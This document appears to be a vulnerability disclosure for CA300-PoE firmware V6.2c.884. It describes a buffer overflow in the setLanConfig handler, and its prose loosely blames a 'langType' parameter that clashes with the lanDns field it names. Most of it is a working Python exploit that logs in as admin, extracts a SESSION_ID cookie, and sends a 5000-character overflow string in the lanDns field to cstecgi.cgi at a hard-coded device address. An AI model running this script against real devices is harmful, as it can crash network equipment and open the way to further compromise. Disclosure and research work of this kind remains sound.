CA300-PoE_Firmware V6.2c.884
In the CA300-PoE_Firmware V6.2c.884 firmware has a buffer overflow vulnerability in the setLanConfig function. The v28, v8 variable receives the lanDns, lanSecDns parameter from a POST request. However, since the user can control the input of langType, the statement sprintf can cause a buffer overflow vulnerability.
import requests
from urllib.parse import urljoin
def get_session(ip):
base_url = f"http://{ip}"
login_url = (
f"{base_url}/formLoginAuth.htm"
f"?authCode=1&userName=admin&goURL=&action=login"
)
headers = {
"User-Agent": "Mozilla/5.0",
"Referer": f"{base_url}/login.htm"
}
print(f"[+] Login URL: {login_url}")
response = requests.get(
login_url,
headers=headers,
allow_redirects=False,
timeout=100
)
print(f"[+] Login status code: {response.status_code}")
set_cookie = response.headers.get("Set-Cookie", "")
location = response.headers.get("Location", "")
print(f"[+] Set-Cookie: {set_cookie}")
print(f"[+] Location: {location}")
session_id = response.cookies.get("SESSION_ID")
if not session_id:
raise RuntimeError("[-] can not access SESSION_ID")
full_session = f"SESSION_ID={session_id}"
print(f"[+] Extracted session: {full_session}")
return session_id
def send_payload(ip, session_id):
url = f"http://{ip}/cgi-bin/cstecgi.cgi"
cookies = {
"SESSION_ID": session_id
}
payload = "A"*5000
data = {
"topicurl": "setting/setLanConfig",
"LanAutoDhcp": "0",
"lanDns": payload,
"lanSecDns": "1" # pa
}
response = requests.post(
url,
cookies=cookies,
json=data,
timeout=100
)
print("[+] Response status:")
print(response)
def main():
target_ip = "192.168.0.254"
session_id = get_session(target_ip)
send_payload(target_ip, session_id)
if __name__ == "__main__":
main()